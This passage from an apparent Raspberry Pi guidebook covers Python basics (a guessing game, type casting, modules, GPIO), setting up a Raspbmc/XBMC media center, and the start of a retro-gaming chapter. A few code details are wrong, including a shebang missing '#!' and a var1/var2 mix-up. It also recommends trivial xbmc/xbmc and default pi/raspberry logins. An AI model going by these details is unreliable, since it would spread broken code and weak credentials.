3. In the Save As dialog box, note that the default save location is your home directory.
Name the new file guessing_game and click Save.
4. As a test, click File, Open in the editor window. Verify that guessing_game.py exists in
your home directory.
You now know how to open script files in the Python Shell!
Writing a Simple Game
Next we are going to write a simple number-guessing game that gives you the opportunity to practice
with some common Python code constructions and perhaps have a bit of fun in the process.
Start with the guessing_game.py file you created in the preceding section. Take a look at the
following code sample (don’t include the line numbers) and then follow that up by studying my
annotations for each line of code.
For reference, check out Figure 11.2 to see what the completed script looks like on my Raspberry Pi.
Click here to view code image
1. /usr/bin/env python
2. #Number guessing game adapted from
#inventwithpython.com
3. import random
4. guesscount = 0
5. number = random.randint(1, 10)
6. print("I thought of a number between 1 and 10. Can you guess it in three
tries?\n")
7. while guesscount < 3:
8. guess = input()
9. guess = int(guess)
10. guesscount = guesscount + 1
11. if guess < number:
print("Too low.")
12. if guess > number:
print("Too high.")
13 if guess == number:
break
14. if guess == number:
15. guesscount = str(guesscount)
16. print("Congratulations! You guessed the correct number in " +
guesscount+ " guesses!")
17. if guess != number:
number = str(number)
print("Sorry. The number I thought of was " + number + ".")
FIGURE 11.2 The number guessing game source code
On to the purpose of each line in the program:
1. This is the “shebang” line that points Raspbian to the location of the Python interpreter.
2. These are two single-line comments that give credit to the developer on whose code this
example is based on. Incidentally, multiline comments in Python are done using the triple
quote (""") punctuation before and after the comment.
3. Use the import function to bring in external code modules into the Python environment.
Modules are discussed in greater detail later in the chapter. For now, understand that random
is a module that ships with Python and gives you access to functions related to (what else?)
random number generation.
4. Create a variable to store the running count of user guesses and initialize the value of the
variable to zero.
5. Define a variable to hold the randomly selected number. Specifically, you call the randint
function inside of the random module and ask the Python interpreter to generate an integer
(whole number) between 1 and 10, inclusive.
6. This print statement explains the game to the player and inserts a new line between this
prompt and the user’s first guess.
7. The while statement is an example of looping logic. It says “keep repeating whatever code is
indented underneath until the guesscount variable reaches 3.”
8. Populate the guess variable with the user’s typed response.
9. Use the int function to ensure that the user’s input is typed as an integer. This is an example of
type casting, in which you can convert data from one type to another.
10. Increment the guesscount variable by one each time you loop through the indented while
code.
11. The if statement is probably the most common looping function in Python. Here it tests the
guess variable against the computer’s generated number. If the user’s guess is below the
number, it tells the user.
12. This if block does the same thing as 11, but here it tests if the user’s guess is above the
correct value.
13. If the user’s guess matches the computer’s randomly selected number, then you break out of
the while loop and continue with whatever code comes next in the script.
14. This if statement (and the next one) are necessary because if you break out of the while loop
with a correct response, you want to end the game. This line of code also uses concatenation
to combine static text and variable data. More on that later.
15. Convert the guesscount variable, which was created as an integer, to a string value. It’s
common practice to cast numbers to strings when you want to print output for the user.
16. Concatenate, or combine, static text and variable data using the plus (+) operator. This can
get confusing because you can also use the plus sign to perform arithmetic addition.
17. The purpose of this block is to handle the situation in which you leave the while loop
because the user’s guess count exceeds three tries. Here you verify that the user’s guess does
not match the computer’s number (!= is the programmatic equivalent of “not equal to”),
convert the number to a string, and then inform the user.
Delving into a Bit More Detail
You can close your Python script file; let’s work directly in the Python Shell. First, I want to discuss
three Python programming features in a bit more detail:
variables
type casting
concatenation
I’m calling out these three programming tools because they are so fundamental not only to Python, but
to any programming language. For instance, most computer programs take data and perform some sort
of processing and evaluation on it. How and where do you store that data? What if you need to
convert data from one form to another—how is that done in Python? Finally, how do you combine
multiple pieces of dynamic data?
Read on, friend...read on.
Variables
As previously discussed, a variable is a named placeholder for data. Variable naming in Python 3 is
flexible, but there are a few rules that you need to keep in mind:
Python key words cannot be used as a variable name (naming a variable print is not allowed,
for instance).
Variable names cannot contain spaces (underscores are okay, though).
Uppercase and lowercase characters are distinct (Var1 and var1 are considered two separate
variables).
The first character of a variable name must be a letter a through z, A through Z, or an
underscore character (no numbers to start variable names because this confuses the Python
interpreter).
After the first character, you can use the digits 0 through 9 and underscores in variable names.
The equal sign (=) is used to assign value to a variable. This is in stark contrast to the double equals
(==) that are used to test equality between two values. For instance:
var1 = 2 : This statement says, “The value of the variable named var2 is 2.”
var1 == 2 : This asks the question, “Does the value of the variable named var1 equal 2?”
Type Casting
In programming, a variable needs to be associated with a data type. The data type constrains, or
limits, the kind of data stored by the variable. For instance, does the variable x below store a number
or a string of characters? How about the variable y? How do you think Python computes the result of
the variable z in the third code example?
x = "234"
y = 432
z = x + y
In some programming languages, the variable x in the previous example would be assumed to be a
string because of the quotation marks. Therefore, the expression x+ y would fail because you can’t
add a string and a number together.
Strictly typed programming languages like C require that you declare not only a variable’s name, but
also the type of data that it can hold. Python isn’t like that; it’s much more lax.
Yes indeed—Python is pretty forgiving, data type-wise. You can use the type function to check the
data type that Python associated with a variable. Try the following:
type(x)
Python 3 supports the following native data types:
Boolean: Possible values are True or False.
Numbers: Integers (whole numbers); Floats (decimal or fractional numbers), or complex
numbers.
Strings: Character sequences.
Bytes: Binary data such as images or other media files.
Lists: Ordered value sequences.
Tuples: Ordered values that are different from lists inasmuch as lists can change their values
(mutable), but tuples cannot (immutable).
Sets: Unordered value sequences.
Dictionaries: Unordered key-value pairs.
You can use type-casting functions to manually convert data from one data type to another. This is
useful when you want to ensure that Python receives variable data in a particular format.
For instance, try this:
vara = "100"
type(vara)
The result of the above code is that Python sees “100” as a string rather than as an integer. Does that
result surprise you? It shouldn’t. When the Python interpreter saw data contained within quotes, it
assumed you wanted to use the str (string) data type instead of int (integer). You can fix it, though, by
converting the string you assigned to the variable to an integer:
varb = int(vara)
type(varb)
In other words, Python infers a data type based upon how you type. If you use quotes, then dollars to
donuts Python assumes you’re talking about a string value. If you supply a number without quotes, then
Python selects one of the numeric data types depending upon the number.
For instance, a variable value of 100 is an integer, and 100.1 is a float. Understand?
Concatenation
In Python, string concatenation enables you to patch together bits of code. To do this, simply use the
plus sign (+). Consider the following examples, all of which you can try out in the Python Shell:
str1, str2 = "abc", "def": Two things—you can create and initialize more than one variable
in one shot, and you can use single or double quotes to contain string data.
str1 + str2: Note that when you concatenate strings, no extra space is included. The result of
this operation is abcdef.
str1 + " " + str2: You can pad spaces by passing in the space character(s) as a separate string
literal. In this example, the result is “abc def”. Pretty cool, huh?
print("The combined string value is: " + str1 + str2): You can concatenate string literal data
with variable data to provide the user with customized output.
Modules
In Python, modules are .py script files that contain one or more related code blocks. What is so cool
about modules is that they make programming much more modular. Think of it: Would you rather
write (or copy/paste) a bunch of functions you created that pertain to several different Python
programs you’re working on, or would you rather have those functions stored in a module that you can
load and unload at your convenience?
Earlier in this chapter I briefly introduced the random module that ships with the so-called reference
version of Python 3. As you can see in Figure 11.3, the contents of the module are stored in plain text
and can be viewed and analyzed by anyone.
FIGURE 11.3 Python modules are note encrypted, but boy, are they useful! Here you can see the
code behind the randint function used earlier in the chapter.
Note: Where Are Modules Located?
You can run help(“modules”) to get a list of all currently available modules in your
current Python 3 installation. After you get the name of your desired module, type
help(“module_name”) to get the file location. For instance, in Raspbian, the random
module is located by default in /usr/lib/python3.2/random.py.
Assuming a module is present on your system (see the note “Where Are Modules Located?” for more
info), you can use the import statement to bring a module into the current Python environment. Note
that an import statement lasts only for the duration of the current script file.
When you perform an import, all of the code contained in the module becomes available to you in
Python. For instance, to import all code from the math module, you can issue any of the following
statements:
Click here to view code image
import math
from math import *
import math, random (we can import more than one module at a time; just use a
comma separator)
After you’ve imported a module, run dir(module_name) to get a list of all the names (the Python term
for code components) that are contained inside the module. To illustrate, run the following three
statements in the Python Shell:
import math
content = dir(math)
content
Now let’s drill into the math module, and you’ll see how to take advantage of a module’s inner
content. As an example, let’s work with the sqrt function from the math module:
import math
math.sqrt(25)
With respect to Python programming, a fully qualified function name takes the form of
module.function. Thus, after importing the math module, you issue math.sqrt() when you want to run
the sqrt() function that is contained in the math module.
Even though you imported the math module, the Python interpreter would get confused and issue an
error if you used just sqrt() in your code without qualifying its location.
Note: Where to Find Cool Modules?
I’ve found that you can learn about any Python 3 module directly from the Python
website. Check out the Python Module Index (http://is.gd/yr7n0A) to learn about the built-in
module library. For third-party modules, see the Useful Modules list (http://is.gd/OvwCJm)
at the Python Wiki. Finally, I cover Raspberry Pi-specific modules as we move through the
remainder of this book.
As I said earlier, many Raspberry Pi projects require that you obtain and install additional modules.
You can use the Linux apt-get command in many cases.
One word of warning: You need to be mindful of the fact that you’re working with Python 3 and not
Python 2. Many online tutorials show you how to do stuff with Python on the Pi, and the module and
code references the older version of Python.
Let’s make sure you have the most recent version of the GPIO module in your Python 3 installation.
This module is important later because, you’ll recall, the GPIO headers are the principal way that you
connect the Raspberry Pi to external hardware.
I’ve found that the case-sensitivity in Linux has caused Raspberry Pi users to conclude that their
Python 3 installation is missing certain modules when, in point of fact, they are present. Try the
following procedure.
Task: Loading and then Updating the GPIO Module in Python 3
Many of the projects that I cover in the latter part of this book involve taking control of
the Raspberry Pi’s General Purpose Input/Output (GPIO) header pins. Accordingly, it is
crucial that you ensure that your Python installation has access to the GPIO modules.
1. From LXTerminal, type python3 to start an interactive Python 3 session.
2. Import the GPIO module included in Raspbian so you can begin the process of
interacting with the Pi’s GPIO headers:
import RPI.GPIO
3. Did that work? No? Well, something you should know is that GPIO is a function library
inside of the RPi module. Notice the mixed case. Try this:
import RPi.GPIO as GPIO
The as keyword is used to provide an alias to an imported module. This means you can
call GPIO functions by using GPIO instead of RPi.GPIO. You had some more problems
though, correct? It turns out you also need to run Python as root. Sheesh!
4. Run exit() to leave the interpreter and then issue sudo python3 to enter the interpreter as
root. One more time with feeling!
import RPi.GPIO as GPIO
dir(GPIO)
Now we’re cooking! The output is displayed in Figure 11.4.
FIGURE 11.4 Working with modules in Python 3 can be...interesting.
5. Exit the interpreter one final time. Let’s update the module to make sure you have the
latest and greatest version:
Click here to view code image
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install python3-rpi.gpio
Where Do You Go from Here?
If nothing else, I hope your work in Chapters 10 and 11 has fired your imagination and inspired you to
learn more about Python programming. My challenge as your guide has been to pack as much Python
instruction as possible in just a few pages in a Raspberry Pi book.
However, for those interested readers, I want to share with you what I think are the very best Python
learning resources available. I know different people have different learning styles, so following is a
collection of various types of references for your studying pleasure.
Textbooks: For my money, you simply cannot go wrong with Tony Gaddis’ Starting Out with
Python, 2nd Edition (http://is.gd/CZy0QN).
Another Python text I enthusiastically recommend is Mark Lutz’ Learning Python
(http://is.gd/0oueEV). I’m not sure why the book gets mixed reviews on Amazon because it
really is a landmark text.
Computer-based Training: At the risk of coming across as a self-promoter, I recorded a
computer-based training course on Python Programming for CBT Nuggets
(http://is.gd/A5XQei) that I fully stand behind. What’s cool about computer-based training is
that you can see the concepts in action immediately on your computer screen.
A second computer-based training course I had a hand in developing and recommend is
Wesley Chun’s Python Fundamentals LiveLessons (http://is.gd/V56Ekl).
Online Resources: As I’ve stated before, the Python website is perhaps the best reference
source on the Internet for learning Python. Check out The Python Tutorial at
http://is.gd/KyCom5.
Another awesome online resource, and it is completely free, is Dive into Python 3 by Mark
Pilgrim (http://is.gd/QeW7OH). This is essentially the full text of the associated textbook by
Apress. However, it’s really nice to have direct access to the source code and examples.
Part III: Basic Raspberry Pi Projects
Chapter 12. Raspberry Pi Media Center
I am a huge set-top box fan. Not the rubbish one your cable company gave you, but the ones that let
you connect to virtually every streaming service under the sun. In fact, if it weren’t for my wife and
daughter, I would have gotten rid of digital cable service years ago and devoted myself entirely to
streaming media services such as Netflix and Hulu. The only way that somebody will take my Apple
TVs away from me is from my cold, dead hands!
One of the biggest attractions of the Raspberry Pi is its utility as a media center platform. Recall that
the combination of the Broadcom VideoCore IV GPU and the HDMI output means that you have the
capability of sending 1080p High Definition to your monitor or HD television.
As it always happens in open source development, several software options exist for building a
Raspberry PI media center. Some of the most popular choices include
Raspbmc: http://is.gd/OX7dMY
RasPlex: http://is.gd/HfEIIi
OpenELEC: http://is.gd/drMs1E
Xbian: http://is.gd/7LUXtc
Three of these software/OS packages are derivatives of XBMC Media Center (http://is.gd/xwVddv),
the gold standard in open source media player software. You can see a screen shot of the XBMC
interface in Figure 12.1.
FIGURE 12.1 XBMC is the gold standard in open source media center software.
Note that because I wanted the highest-quality screen shots for this book, the XBMC interface images
I give you in this chapter are from the Windows version rather than from Raspbmc. The good news is
that XBMC 12.2 “Frodo” looks and behaves exactly the same regardless of its host hardware—hence
the great beauty of platform-independent, open source software.
A Bit o’ History
The name XBMC originally stood for Xbox Media Center because the software was intended to run
only on modified (“modded”) Xbox consoles. These days, of course, XBMC runs on almost every
desktop or mobile platform, and to that end, uses the backronym “XBMC Media Center.”
Note: XBMC and Raspbian
For those who are more experimentally minded, you can actually install XBMC directly
on top of Raspbian. Check out the Raspbian XBMC project page (http://is.gd/vxKwGJ) for
more details.
I like to describe XBMC as a Swiss Army knife media application that can play just about any media
file you can throw at it. Here is a run-down of some of the best features of XBMC:
Plugins: You can easily extend XBMC functionality by installing add-ons that (for instance)
display local weather, pull Internet Movie Database (IMDB) metadata for your currently
loaded media, and so forth.
Media Scrapers: XBMC can scan any media you load and automatically detect everything
there is to know about the item. For instance, the scraper can detect an MP3 audio file’s album
track listing, song lyrics, and so on.
Apps: You can launch applications that enable XBMC to tie into streaming media services
such as Netflix.
Codec Richness: Compressor–Decompressors (Codecs) allow media player software to
recognize, decode, and play various media. Not only does XBMC ship with a ton of media
codecs, you can manually install additional codecs to ensure that your custom media is
playable from within XBMC.
For a more comprehensive listing of XBMC features, read the associated Wikipedia article at
http://is.gd/yZmSK8.
But Will It Blend?
If you haven’t yet seen the Blendtec’s “Will It Blend?” viral marketing videos, then do yourself a
favor and check them out on YouTube at http://is.gd/8gWfN9.
“Will It Blend?” reminds me of a question that is more cogent to us as Raspberry Pi enthusiasts—
namely, “But does the Raspberry Pi have enough processing power to run XBMC appropriately?”
Ah yes, the eternal question. First things first: The Model A board simply will not do as a media
player. Number one, there is the limited memory issue. Number two, you’ll need a hardwire Ethernet
connection to get appreciable network speeds, and the Model A has no RJ-45 port.
Yes, yes—I know what you are thinking: “Couldn’t I add an RJ-45 wired Ethernet port to my Model
A Pi by using USB?” This is true enough, but I nonetheless submit that the latency you’ll experience in
not employing wired Ethernet that is built into the Pi’s circuitry (like we have with the Model B)
makes the process barely worthwhile.
As in all things, though, your mileage may vary.
The primary differentiator among the various Raspberry Pi XBMC ports is how completely they take
over the host operating system. Remember that with a device as hardware-constrained as the Pi, the
fewer software layers you have between XBMC and the underlying hardware, the better.
There is vociferous debate online as to who makes the best XBMC player for the Pi. However, in this
book we install Raspbmc because it is (generally) considered to be the most stable and mature
XBMC port.
Introducing Raspbmc
As you probably guessed, Raspbmc (http://is.gd/OX7dMY) is a portmanteau of Raspbian and XBMC.
Thus, Raspbmc replaces the operating system on your Raspberry Pi instead of serving as a third-party
app that you install on an existing Raspbian installation.
Raspbmc is the brainchild of Sam Nazarko of London and achieved final 1.0 release status in
February 2013. For in-depth coverage of all things Raspbmc-related, see Sam’s book Raspberry Pi
Media Center, by Packt Publishing (http://is.gd/GDTsVR).
Basically, Sam stripped Raspbian down to almost bare metal and wove XBMC on top of it. To that
point, don’t expect to get anything more than Terminal access to your Raspbmc system. Because X11
is not present, you’ll never get VNC remote connections to work.
You need the following components to get Raspbmc up and running on your Raspberry Pi Model B:
HDMI connection: You need a monitor or television (remember, no VNC support in
Raspbmc).
A decent-sized SD card: Go for a 16–32GB, Class 10 card unless you are absolutely
committed to storing your media on a USB thumb drive.
Keyboard and mouse: These peripherals are necessary due to the “no VNC” rule mentioned
previously.
Wired Ethernet connection with DHCP: Although you can get Wi-Fi going easily enough
after Raspbmc is installed on your Pi, your best bet—at least during the installation phase—is
to plug in a physical Ethernet cable and let the Pi pick up an IP address from your local DHCP
server.
Task: Installing Raspbmc Under Windows
1. Download the Windows Raspbmc Installer from the Raspbmc website
(http://is.gd/jdMxS2) and extract the .ZIP file contents to a local directory on your
Windows system.
2. Open Setup.exe, which starts the Raspbmc Installer. The interface is shown in Figure
12.2.
FIGURE 12.2 You can flash your SD card under Windows by using the Raspbmc Installer
application.
3. Take pains to verify that you select the correct volume in the device list. You want to
flash an SD card, remember, and you don’t want to pick the wrong drive. (You also need
to select the I accept the license agreement option before clicking Install to flash your
card.)
4. When the installation process completes, you see a Congratulations! message informing
you to boot your Raspberry Pi from the newly flashed SD card. Note also that you need to
plug in the Ethernet cable into your Model B board, have your home network configured
for automatic (DHCP-based) IP address assignment (if it’s not already), and have your
keyboard, mouse, and HDMI monitor all plugged in and ready to rock.
Task: Installing Raspbmc Under OS X
1. Open up a Terminal prompt and download the Python 2-based installer:
Click here to view code image
sudo curl -O http://svn.stmlabs.com/svn/raspbmc/testing/installers/python/
install.py
Note: Curl
The curl program is used in Linux to fetch web-based content from a command
line. Note also that the parameter after curl is an O (the letter), as opposed to a zero.
2. Now run the install.py Python script:
sudo python install.py
Hey, you are applying some of our newly found Python skills already—awesome! You
can view the screen output of these commands in Figure 12.3.
FIGURE 12.3 Flashing your Raspbmc SD card under OS X isn’t as easy as it is under
Windows.
Configuring Raspbmc
Flashing your SD card by using the Raspbmc installer does not actually fully set up your environment;
instead, the installer formats your SD card, creates one big partition, and installs the barest layer of
Raspbian on the card.
Upon first bootup the Raspbmc installer takes over the system, downloading and applying Raspbian
to your Pi. You can see this in action in Figure 12.4.
FIGURE 12.4 Raspbmc automatically installs the latest version of the software during the Pi’s
first startup.
After installation completes, you see the XBMC interface and are asked to choose a default language.
You need to navigate to System, Settings, Appearance, International to verify and set your localization
settings for
Region
Character Set
Timezone country
Timezone
You’ll find that XBMC navigation is pretty intuitive by using the keyboard and mouse. As shown in
Figure 12.5, each configuration window can be closed individually by clicking the “X” in the upper-
right corner of each window. Also the navigation buttons in the lower-right of each screen take you
back one screen or jet you to the Home screen, respectively.
FIGURE 12.5 The XBMC user interface can be navigated easily with a keyboard, mouse, or
infrared (IR) remote.
Getting Your Remote Control Working
What is a set-top box worth if you can’t control it with your favorite remote control? Nothing, in my
estimation. Your first order of business is to study the list of Raspbmc-compliant remotes at the
Raspbmc website (http://is.gd/5Sw23o).
Second, you need to decide whether you want to control your Raspbmc box via Internet Protocol (IP)
or Infrared (IR). An example of an IP-powered remote control is an iOS or Android app that enables
you to control your Raspbmc media center.
IR is a line-of-site remote control protocol that has been around seemingly forever; I’m sure that you
use IR remotes to control your television sets right now.
If you decide to go the IP remote control route, then you should investigate mobile apps designed to
control XBMC over your local IP network:
Official XBMC Remote (Android): http://is.gd/k4UeWY
Official XBMC Remote (iOS): http://is.gd/qZkt3l
Just for grins, let me show you how to set up your iOS-based XBMC Remote app to connect to your
Raspbmc system.
Task: Controlling Your Raspbmc Box from iOS
1. In XBMC, navigate to System, Settings, Services, Remote Control and enable Allow
programs on other systems to control XBMC.
2. On the same configuration page, navigate to Zeroconf and enable Announce these
services to other systems via Zeroconf. For more information on Zeroconf, see the note
“What is Zeroconf?”
3. One more setting group: On the Webserver page, ensure that Allow Control of XBMC
via HTTP is enabled and optionally change the listener port (8080 is a good choice) and
add a username and password (xbmc/xbmc is a common combination).
4. Verify your IP address by going back to the home page, navigating to System, System
Info, and checking out the IP address field.
5. Download and install the Official XBMC Remote from the App Store.
6. Start the app and tap Add Host.
7. In the New XBMC Server dialog box, add as many details as you can regarding your
Raspbmc (see Figure 12.6).
FIGURE 12.6 The more information you can provide to the remote control app, the better
the chance is that the app will discover your Raspbmc box on your network.
Note: What is Zeroconf?
Zeroconf is a shorthand notation for Zero-Configuration Networking, which is a
collection of technologies that operates over TCP/IP and allows network devices such
as computers and mobile hardware to communicate without the need for special setup
procedures. For instance, Apple has a Zeroconf protocol called Bonjour that enables,
for instance, your iPhone to discover your iMac’s iTunes music library and stream the
songs from the computer to the mobile device. Pretty neat, eh?
8. Tap Save to save your configuration, and tap Find XBMC to locate your device on the
network.
With a successful connection, you can fully control your Raspbmc box remotely as shown in
Figures 12.7 and 12.8.
FIGURE 12.7 How cool is it that you can manage your XBMC library from your mobile
device?!
FIGURE 12.8 The Official XBMC Remote app serves as a, well, remote control for your Pi
(among many other things).
Task: Controlling Your Raspbmc Box from a Web Browser
1. Ensure that Raspbmc is configured to allow HTTP access as outlined in the previous
procedure.
2. Fire up a web browser from a computer on the same LAN as your Raspbmc system and
navigate to the proper URL. You can obtain your system’s IP address by navigating from
the home page to System, System Info and examining the IP address field.
3. Next, navigate to System, Settings, Services, Webserver and enable the option Allow
control of XBMC via HTTP. For instance, imagine my system has the IP address
10.1.10.1. Now I can open a web browser, type http://10.1.10.1 as the address, and
remotely connect to my Raspbmc server.
4. Upon a successful connection, you are presented with a simple, yet intuitive method for
managing the content on your Raspbmc device. The default web interface is shown in
Figure 12.9.
FIGURE 12.9 XBMC includes a simple web-based management tool (and remote control,
of course).
Note: Extensibility, Ho!
In the XBMC Webserver Property page, note that you can download additional
web interface skins that change the website’s look and feel. Click Default and then
click Get More... to do some shopping. Of course, your Raspbmc device must be
connected to the Internet for this procedure to work.
Task: Configuring a GPIO-based IR Receiver
The previous methods work just fine, but what if you want to control Raspbmc by using
your hardware remote that operates over infrared (IR)?
If you are thinking like a true (or budding) hardware engineer, you probably thought of
the following:
“I’ll bet I need to attach an IR sensor to my Pi’s GPIO pins to control my Raspbmc
box by using a hardware remote control.”
If you did think the preceding thought, then kudos to you! Actually, you have two
possibilities for IR-based remote communication:
Purchase an IR receiver and wire it directly to the GPIO pins on the Pi board.
Purchase a USB IR receiver, plug it into your powered USB hub, and load the appropriate
drivers.
Unfortunately, no truly straightforward documentation exists for either procedure as of
summer 2013. However, I can give you one way to use the GPIO method by using parts
from good ol’ trusty Adafruit.
In order to complete this task, you’ll need to purchase some items from Adafruit or
another parts supplier. The good news is that I’m sure you’ll find your efforts duly
rewarded—controlling your own custom media center via IR remote ROCKS!
Parts needed:
TSOP38238 IR receiver (http://is.gd/y9XzOC)
Female-to-female jumper wires (http://is.gd/anFo27)
Mini remote control (http://is.gd/dp0mPW)
1. As shown in Figure 12.10, connect three female-to-female jumper wires to (a) the three
leads of the IR receiver and (b) three GPIO pins. The receiver-to-GPIO lead mapping is
as follows:
IR receiver pin #1 to GPIO pin #18 (data)
IR receiver pin #2 to GPIO pin GND (ground)
IR receiver pin #3 to GPIO pin 3V3 (3.3V power)
FIGURE 12.10 Schematic showing you how the GPIO pins connect to the IR sensor by
means of female-to-female jumper wires.
2. The Linux Infrared Remote Control (LIRC) software component is what orchestrates
communication between your hardware IR remote and XBMC. Log into XBMC on your
Raspberry Pi and navigate to Programs, Raspbmc Settings, IR Remote.
While you are testing the hardware remote on its own, ensure that the setting Enable
GPIO TSOP IR Receiver is disabled. When you’re ready to test your hardware remote,
come back to this setting and enable it. Remember while you’re in the Settings area to make
a note of your Raspbmc’s IP address.
Note: TSOP, What’s That?
In electronics, TSOP stands for Thin, Small Outline Package and refers to the
physical form factor of the IC chip itself. Thus, TSOP is a general descriptive term
that applies to many types of IC components, not simply IR receivers.
3. The remainder of the configuration is done from the Linux command line. You can use
SSH to connect to your Raspbmc box in the same manner you can with traditional
Raspbian. (Remember that you learned how to use SSH in Chapter 7, “Networking
Raspberry Pi”). The default username is (surprise, surprise) pi, and the default password
is raspberry.
Rather than give you a couple pages of Linux terminal commands, I will simply refer you to the
“Using an IR Remote with a Raspberry Pi Media Center” tutorial at Adafruit (http://is.gd/97RvGt).
For instructions and/or advice on getting your own personal IR remote working with Raspbmc, I
suggest you turn to the trusty eLinux.org website at http://is.gd/yaJOSw. This site contains a
constantly updated list of peripheral devices that have been verified to work with the Raspberry Pi.
Transferring Content to Your Pi
You can upload media files (movies, TV shows, home videos, music, pictures...the list goes on) to
your Raspberry Pi using File Transfer Protocol (FTP). I recommend the freeware Filezilla to
Windows and Mac users because it is a stable, straightforward FTP client that looks and behaves the
same on either OS platform.
You already know the IP address of our Raspbmc box, so you can get right to work.
Task: Uploading Media Content to Raspberry Pi
1. Start Filezilla and fill in the details in the Quickconnect bar:
Host: <IP address of your Pi>
Username: pi
Password: raspberry
Port: Leave this field empty because FTP assumes the use of Transmission Control
Protocol (TCP) port 21 by default.
2. Connecting as the pi user puts you in the /home/pi home directory by default. Right-click
in the Remote site window and click Create Directory to create the following folders for
your media:
Movies
TV
Music
Pictures
You can name your content folders anything you want, of course, but I suggest you avoid
spaces (see Figure 12.11).
FIGURE 12.11 FileZilla makes it simple to upload your media content to the Raspbmc
device.
3. To actually transfer a file, simply drag and drop the file(s) from the OS X Finder,
Windows Explorer, or from the Local Site pane in Filezilla over to the appropriate
destination in the FileZilla Remote site: pane.
Progress information concerning the uploads can be seen in the bottom pane of
FileZilla. Easy as pie!
Note: USB Is Allowed
If your Raspbmc SD card isn’t as large as necessary to store all your stuff, note that you
can use a USB thumb drive as a media source. Simply populate the USB stick with your
media, plug it into the powered USB hub that is connected to your Pi, and specify the USB
location when you configure media detection.
Scraping Your Media
As I mentioned earlier in this chapter, a media scraper is a program that can detect, analyze, and
report upon a media file that is present to XBMC. For instance, you can upload a season of The Big
Bang Theory and let the built-in media scrapers fill in metadata such as plot summary, cast, original
air date, and so forth.
The types of media that scrapers can detect are as follows:
Video games
Music
Movies
TV shows
Internet-based videos
Although the media scrapers available in XBMC are excellent, I advise you to name your media files
as descriptively as possible (and without spaces) to help them to more efficiently and accurately do
their work.
Take a look at Figure 12.12 to see an example of media file naming best practices.
FIGURE 12.12 In order to ensure that media scraping works correctly, individual show files
inside my s06 (season 6) folder should be named Big.Bang.Theory.s06e01, Big.Bang.Theory.s06e02,
and so on.
The XBMC Wiki has an outstanding article on video library management and file naming best
practices that needs to be on your required study list. You can find it at http://is.gd/RTkODz.
Now that you have your media uploaded and named appropriately, let’s configure media detection.
Task: Configuring XBMC Media Detection
In this procedure, you configure media detection for your /home/pi/tv folder.
1. In XBMC, navigate to Video, Files.
2. In the Videos screen, click Files, and then click Add Videos...
3. In the Add Video Source dialog, click Browse and select your target directory. On my
system, I want XBMC to detect my legally backed-up TV shows, so I supply the path
/home/pi/tv.
4. Optionally add a name for the new media source and then click OK.
5. In the Set Content dialog box, set the This Directory Contains option to your desired
media type. In this example, I chose TV shows.
6. In the Choose a Scraper list, select a default choice or click Get More to browse for an
alternate choice. You can see the interface in Figure 12.13.
FIGURE 12.13 After pointing Raspbmc to a content location, we instruct the application as
to what kind of data the location contains, and which scraper service we want to use.
Note: A Desktop Scraper for Anyone
Windows users can download the free Media Companion (http://is.gd/qemjHg) to
prepare media file metadata from your personal computer. Then when you transfer the
media to your XBMC, the files are prescraped!
When you click OK the selected scraper performs a full scan on your content source. If all goes well,
you can go back to the Home screen, click TV shows, and access your library to see all sorts of new
artwork and bling to accompany your detected media.
For instance, try right-clicking a television show media file and selecting Episode information from
the shortcut menu. The results of selecting information for one of my recorded shows is shown in
Figure 12.14.
FIGURE 12.14 The ability to provide rich metadata is one of the biggest strengths of XBMC
(beyond its ability to play the media, of course!)
Playing Your Content
Let’s finish this chapter with a brief tour of the player controls in XBMC. Using Figure 12.15 as your
guide, let me explain some of the controls on the XBMC player’s onscreen display (OSD):
FIGURE 12.15 You can use your remote control to access the XBMC onscreen display (OSD).
1: These playback controls should be self-explanatory to anybody who has operated a DVD
player remote.
2: This control enables you to manage subtitles. For more information on how to use subtitle
files with XBMC, see http://is.gd/PmFob0.
3: Here you can tweak video settings, including aspect ratio, black bar cropping, and
brightness/contrast.
4: Here you can customize audio settings, including delay, subtitles, and so on.
5: Here you can set, go to, and delete bookmarks. This is one of my favorite features!
Installing Add-Ons
XBMC/Raspbmc add-ons are small apps that extend the functionality of your media player software.
You’ll find an impressive variety of tools here, giving you the ability to interact with all sorts of cool
media, including, but not limited to, the following:
Apple iTunes podcasts
Break.com and CollegeHumor prank videos
Weather and webcams from all around the world
News headlines from all around the world
Streaming video from a variety of online sources
To install an add-on, navigate to the home page in Raspbmc and hover your mouse over Pictures,
Videos, TV Shows, or Music. One of the submenu options is Add-ons; click that.
In the resulting Add-ons window that appears, click Get More.... As shown in Figure 12.16, you’ll be
presented with an alphabetical assortment of add-on apps that are related to your selected media type.
FIGURE 12.16 Add-ons can greatly expand the functionality of your XBMC-based media player
system.
Once you’ve found an add-on that you like, double-click it in the list and then click Install.
To use your new add-on, return to the Add-ons window we saw earlier. Instead of being empty, you
should see your new app in the list; double-click it to get started!
Chapter 13. Raspberry Pi Retro Game Station
Let me be completely up-front with you: I am a total and unabashed video game nerd. More
specifically, I am a retro video game nerd. As much as I enjoy my Xbox, nothing gets my blood
pumping quite like firing up my favorite Atari, Coleco, and Mattel Electronics video games from the
late 1970s and early 1980s.
As you know from reading this book, the Raspberry Pi itself serves as a physical totem to 1980s
microcomputing nostalgia. Therefore, it seems completely natural for us to consider the question of
how we can convert the Pi into a retro video game station.
In this chapter I use RetroPie as the software basis for this project. I also show you how to configure
the Pi to support joystick controllers.
The RetroPie Project (http://is.gd/kFVq2I) initially started as a plan to turn the Raspberry Pi into a
universal retro gaming console that used Nintendo Entertainment System (NES) controllers for input.
Although RetroPie supports the emulation of several classic video game consoles, I focus on the Atari
2600 VCS and Nintendo Entertainment System (NES) emulation in this chapter. For the uninitiated,
the original console hardware is shown in Figure 13.1.
FIGURE 13.1 At left, the venerable Atari 2600 Video Computer System (VCS), introduced in
1977. At right, the Nintendo Entertainment System (NES), introduced in 1985.
A Word About Console Video Game Emulation
In general terms, emulation refers to a computer running one processor architecture to pretend that it
is actually a computer running another processor architecture. For instance, the Raspberry Pi port of
the RetroArch (http://is.gd/EEb4HQ) multi-system emulator enables the Raspberry Pi, with its ARM
processor platform, to play video games from a number of classic video game systems, including
Atari 2600
Game Boy Advance
Intellivision
MAME
NeoGeo
NES
SNES
Console video game emulation is really quite amazing when you understand that each and every retro
video game console had its own proprietary hardware.
The RetroPie Project (http://is.gd/kFVq2I) began as a way to answer the question, “Can we get the
Raspberry Pi to play Super Nintendo Entertainment System (SNES) games using the original
controllers?”
